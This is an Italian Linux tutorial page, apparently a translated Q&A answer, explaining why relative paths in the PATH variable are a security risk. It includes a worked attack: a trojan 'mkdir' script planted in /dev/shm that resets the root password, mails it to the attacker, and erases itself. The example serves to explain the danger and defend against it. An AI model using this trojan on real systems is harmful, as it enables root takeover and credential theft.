GNU/Linux >> Linux Esercitazione >  >> Linux

Implicazioni sulla sicurezza dell'utilizzo di percorsi relativi nella variabile ambientale PATH?

Ci sono due problemi con il percorso che stai usando.

  1. Il percorso è relativo.
  2. Il percorso relativo viene prima i percorsi principali.

Supponiamo che tu abbia il seguente script di shell che usi come root per aggiornare alcune applicazioni web e che tu abbia impostato $PATH utilizzato in /etc/profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

A un utente malintenzionato stai fornendo un mezzo per eseguire qualcosa nella shell che è controllata dal suddetto attaccante. Una forma di attacco sarebbe simile a questa - dove sto tentando di sovvertire il controllo del mkdir chiama lo script vulnerabile.

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

Quindi aspetto che aggiorni la tua webapp.

Ora quello che succede è che lo script vulnerabile passa a /dev/shm . Quando lo fa ed esegue mkdir trova il apps/java/bin/mkdir programma prima, che in questo caso reimposta la password di root, invia un'e-mail all'aggressore con la nuova password di root, chiama effettivamente il vero mkdir (per nascondere il fatto che qualcosa sia effettivamente accaduto) e si rimuove dal percorso di attacco.

Come root, hai no idea di cosa è successo e le prove vengono cancellate una volta che il payload è stato consegnato.


Il problema con avere un percorso relativo in $PATH è che se un utente malintenzionato può creare un file con un determinato nome nel tuo filesystem, rischi di eseguire quel file.

Esempio:df o il monitoraggio dice che /var è pieno, du dice che è /var/spool/ftp/uploads , cosa fai?

cd /var/spool/ftp/uploads
ls -ltr

e sei di proprietà. Non vedi nemmeno ls nell'output, quindi non lo saprai mai.

Sostituisci i caricamenti ftp con qualche directory di dati di qualche sito web client, o la directory /tmp di una macchina condivisa, o molte altre cose.

Certo, non accadrà spesso, ma il rischio esiste e scrivere ./script invece di script è facile.


Linux
  1. Come modificare la variabile PATH in Linux

  2. Differenza tra percorsi assoluti e relativi in ​​Linux

  3. Contare il numero di file in una directory utilizzando C

  4. Aggiunta di una nuova voce alla variabile PATH in ZSH

  5. Ciclo degli elementi di una variabile di percorso in Bash

Navigazione nel filesystem con percorsi relativi alla riga di comando

Utilizzo del file di configurazione SSH

Come migliorare la sicurezza dei sistemi Linux utilizzando Firejail

Come modificare la password di root utilizzando WHM?

Percorso assoluto vs relativo in Linux:qual è la differenza?

Quali sono le implicazioni sulla sicurezza di systemd rispetto a systemv init?